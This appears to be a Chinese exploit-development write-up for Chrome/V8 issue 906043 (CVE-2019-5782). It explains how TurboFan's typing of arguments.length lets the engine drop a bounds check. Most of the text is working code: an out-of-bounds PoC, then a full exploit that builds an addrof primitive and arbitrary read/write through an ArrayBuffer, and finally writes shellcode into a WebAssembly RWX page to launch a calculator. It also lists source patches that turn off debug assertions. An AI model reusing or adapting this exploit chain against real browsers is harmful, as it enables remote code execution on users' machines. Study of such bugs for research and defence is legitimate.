Chrome issue 906043(CVE-2019-5782)

 

0 环境与背景知识

0.1 环境

下面是chrome的bug网站关于这个issue的内容

https://bugs.chromium.org/p/chromium/issues/detail?id=906043&q=906043&can=2

在下面的commit中,找到一个含有漏洞的版本

之后使用ninja进行编译 version 7.2.0

0.2 背景知识

JavaScirpt中有一个用来查看传递参数个数的方法

arguments.length  <====
arguments.length表示的是实际上向函数传入了多少个参数,这个数字可以比形参数量大,也可以比形参数量小(形参数量的值可以通过Function.length获取到).

比如下面的例子中

    function imagePreload() 
    {  
        var imgPreload = new Image();  
        for (i = 0; i < arguments.length; i++) 
        {  
        imgPreload.src = arguments[i];  
            }  
    }  

    imagePreload(’001.gif’, ’002.gif’, ’003.gif’, ’004.gif’, ’005.gif’)

arguments.length 的值为5

这里还要介绍一个技巧

function test(args)
{
    Array.prototype.fill();
    let idx = arguments.length;
    print(idx);
}


let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);

print(...arr)
test(...arr);

这里test函数的参数是arr数组中的每一个元素,我们这样写,实际上传递的参数长度为0x100

 

1 漏洞分析

1.0 优化时的分析

在type-cache.h中对参数的长度是这样计算的

参数的长度Range(0,kMaxArguments)

对应的找一下kMaxArguments的数值(code.h文件)

综合源码中上面的两处可以得到,优化时 参数的范围(0,1<<16-2)

1.1 运行时分析

这里写了一个测试脚本

function test(args)
{
    // Array.prototype.fill();
    let idx = arguments.length;
    print(idx);
}


let arr = [1.0,1.1];
arr.length = 0x100;
arr.fill(1.2);

// print(...arr);
test(...arr);

传递参数大小为0x100,在函数内部得到参数的长度并输出,结果是下面的256

u18@u18-oVirt-Node:~/v8_build/v8/v8/out.gn/x64.release$ ./d8 ../test.js 
256

1.2 总结

同样用一个表格总结一下想法操作(虽然这个表格现在有一部分不对的地方,后面poc中进行了修改)

(这里假设传进去的长度为1<<16)

操作 优化时情况 运行时情况
let idx = arguments.length Range(0,1<<16-2) 1<<16
idx >>= 16 Range(0,0) 1
idx *= 1337 Range(0,0) 1337

优化时得到的结果是Range(0,0),运行时可以访问更大的范围

造成OOB

 

2 POC

根据上面的表格与之前的test函数很容易写出poc

poc.js

tujiefunction foo(args)
{
    // Array.prototype.fill();
    let idx = arguments.length;
    idx >>= 16;
    idx *= 1337;
    print(idx);
    let oobArray = [1.0,1.1,1.2,1.3];
    // return oobArray[idx];
    print(oobArray[idx])
    // oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
    // return oobArray;
}


let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);


foo(f_arr);
foo(f_arr);
%OptimizeFunctionOnNextCall(foo);
// print(...arr);
foo(...arr);

首先给一个长度为1的数组作为参数,前两次调用肯定是返回1.0,idx=0

第三次优化调用,idx = 1337 返回越界访问的结果(这里在debug模式下返回的是-1.1885946300594787e+148)

但是release模式下测试POC的话返回的是数组的内容,这里是1.2(这个问题)

运行结果如下

Concurrent recompilation has been disabled for tracing.
0
1
0
1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
1337
-1.1885946300594787e+148

查看一下过程中的优化图解

直接看escape analysis阶段

先看最后的结果

CheckBounds节点变成了无效的节点,但是它的Range范围和笔者预想的不一样(表格中是Range(0,0))

下面就追一下原因

首先优化的时候参数的确实是Range(0,1<<16-2)

但是进行第一次右移运算的时候和笔者想的结果不太一样

查看一下源码(src/compile/operation-typer.cc)

感觉应该没问题呀 ,回去看了下节点才明白

Typer

在SpeculativeNumberShiftRight节点的上面有一个LoadField节点,在这个优化阶段,这个LoadFiled节点的值,编译器是得不到信息的,所以它对NumberShiftRight进行range analysis的时候,会将其范围直接当做int32的最大和最小值。

#   define INT32_MIN       ((int32_t)(-2147483647-1))
#   define INT32_MAX       ((int32_t)(2147483647))

所以这一步的运算过程应该是这样的

min lhs is -2147483648
min rhs is 16
max lhs is 2147483647
max rhs is 16
...
[Type: Range(-32768, 32767)]

此外这里还要mark一下在Type阶段不分析的地方

EffectPhi:different branches
JSLoad/JSStore
BeginRegion/FinishRegion:local && heap

typer lowering phase

在这个阶段会将JSCreateArray reduce变成ArgumentsLength并且计算范围

相关函数

Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node)函数
Type Typer::Visitor::TypeArgumentsLength(Node* node)函数
Type const kArgumentsLengthType = Type::Range(0.0, Code::kMaxArguments, zone());

load elimination phase

这个阶段去除多余的LoadFiled,替换成实际的值

simplified lowering phase

这里又一次Typer计算,会修复之前的范围,并且去除节点CheckBound

相关函数

RunTypePropagationPhase()函数
VisitCheckBounds()函数
运行结果
Range(0, 65534)
Range(16, 16)
min lhs is 0
min rhs is 16
max lhs is 65534
max rhs is 16
->
NumberShiftRight Range(0,0)

这里的优化过程在图上没有反映出来,可以在源码中下断点查看优化的过程

 

3 exp

这里的exp最终的效果是弹出计算器,没有去做更多的,因为主要是学习优化的流程与浮现这个洞

这部分的原理没有详细介绍,可以查阅之前的文章理解一下object ArrayBuffer wasm的知识

3.1 修改数组大小

debug得到我们应该修改idx=7为更大的length

对应的修改数组的脚本

/*************************************************************
 * File Name: m_exp.js
 * 
 * Created on: xx.xx.xx
 * Author: init-0
 * 
 * Last Modified: 
 * Description: exp for 906043
 * version version 7.2.0
************************************************************/

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

function gc()
{
    for(let i=0;i<10;i++)
    {
        new Array(0x1000000);
    }
}

const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{ 
    f64[0] = val;
    let tmp = Array.from(u32);
    return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
    u32.set(tmp);
    return f64[0];
}

let obj = [];
let abf = [];


function foo(args)
{
    // Array.prototype.fill();
    let idx = arguments.length;
    idx >>= 16;
    idx *= 7;
    // print(idx);
    let oobArray = [1.0,1.1,1.2,1.3];

    // return oobArray[idx];
    // print(oobArray[idx])
    oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
    return oobArray;
}


let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);

for(var i=0;i<MAX_ITERATIONS;i++)
{
    foo(f_arr);
}
let oob=[];
let obj_a=[];
let abf_a=[];
oob = foo(...arr);

obj.push({mark:0x11111111,n:0x41414141});
abf.push(new ArrayBuffer(0x200));

%DebugPrint(oob);
%DebugPrint(obj_a);
%DebugPrint(abf_a);
console.log('[*]  oob_lenght======>'+hex(oob.length));


%SystemBreak();

修改之后的结果

3.2 任意地址写 && 泄露地址

首先利用上面数组的oob 找到相关的位置

代码如下

let off_buf;
let off_obj;

for(var i=0;i<maxSize;i++)
{
    let tmp = oob[i];
    if(f2i(tmp) == 0x11111111)
    {
        off_obj = i+1;
        break;
    }
}

for(var i=0;i<maxSize;i++)
{
    let tmp = oob[i];
    if(f2i(tmp) == 0x200)
    {
        off_buf = i+1;
        break;
    }
}

console.log('[*]  off_obj======>'+off_obj);
console.log('[*]  off_buf======>'+off_buf);
// %SystemBreak();

运行结果

接着尝试写函数实现任意地址写 原语addrof

let dataView = new DataView(abf[0]);

function abread(addr)
{
    oob[off_buf] = i2f(addr);
    return f2i(dataView.getFloat64(0,true));
}


function abwrite(addr,payload)
{
    oob[off_buf] = i2f(addr);
    for(var i=0;i<payload.length;i++)
    {
        dataView.setUint8(i,payload[i]);
    }
}


function addrof(addr):
{
    obj[0].n = addr;
    return f2i(oob[off_obj]);
}

3.3 get calc

具体的代码如下

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

let f_addr = addrof(f)-1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = abread(f_addr + 0x18) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
// %SystemBreak();
// readline();
let wasm = abread(share_info_addr + 8) - 1;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=abread(wasm+0x10) -1;
console.log("instance ==> 0x"+instance.toString(16));
// readline()
let rwx_addr=abread(instance+0xe8)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));



var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
abwrite(rwx_addr, shellcode);

f();

最终结果

 

4 参考

写POC之前没有找到参考文章,后来遇到NumberShiftRight问题之后,发现了sakura师傅的文章

https://xz.aliyun.com/t/5712#toc-2 ☜ ? 主要参考了优化分析部分

 

5 技巧

5.1

帮助分析优化的流程

—trace-turbo-reduction

5.2

关于Debug Check

在Debug模式下,即便我们绕过了checkBound节点,运行的时候仍然会其他的check,不利于之后的调试(假设后面出了问题不容易发现)

于是根据Debug模式下的报错信息,记录一下修改源码中其他check的地方

首先运行一下脚本,查看check的位置

下面两处是一个文件的两个地方

找到源码位置注释掉重新编译 记得重新编译 (另外可能不同版本v8注释的地方不同)

src/code-stub-assembler.cc

  // CSA_ASSERT(this, IsOffsetInBounds(
  //                      offset, LoadAndUntagFixedArrayBaseLength(object),
  //                      FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));

src/objects/fixed-array-inl.h

  // DCHECK(index >= 0 && index < this->length());

src/code-stub-assembler.cc

    // IntPtrAdd does constant-folding automatically.
    return;
    // TNode<IntPtrT> effective_index =
    //     IntPtrAdd(UncheckedCast<IntPtrT>(index),
    //               IntPtrConstant(additional_offset / kPointerSize));
    // CSA_CHECK(this, UintPtrLessThan(effective_index,
    //                                 LoadAndUntagFixedArrayBaseLength(array)));

上面就是改动的所有部分

一波修改之后 debug模式下成功弹出计算器

5.3

MARK!!!
调试源码中的优化部分

正常跑起代码之后

在想要停止的地方下端点

之后停在了指定位置并且可以在指定的位置查看信息(print)

这个很重要,会调试源码之后才能更好的了解优化的流程

(完)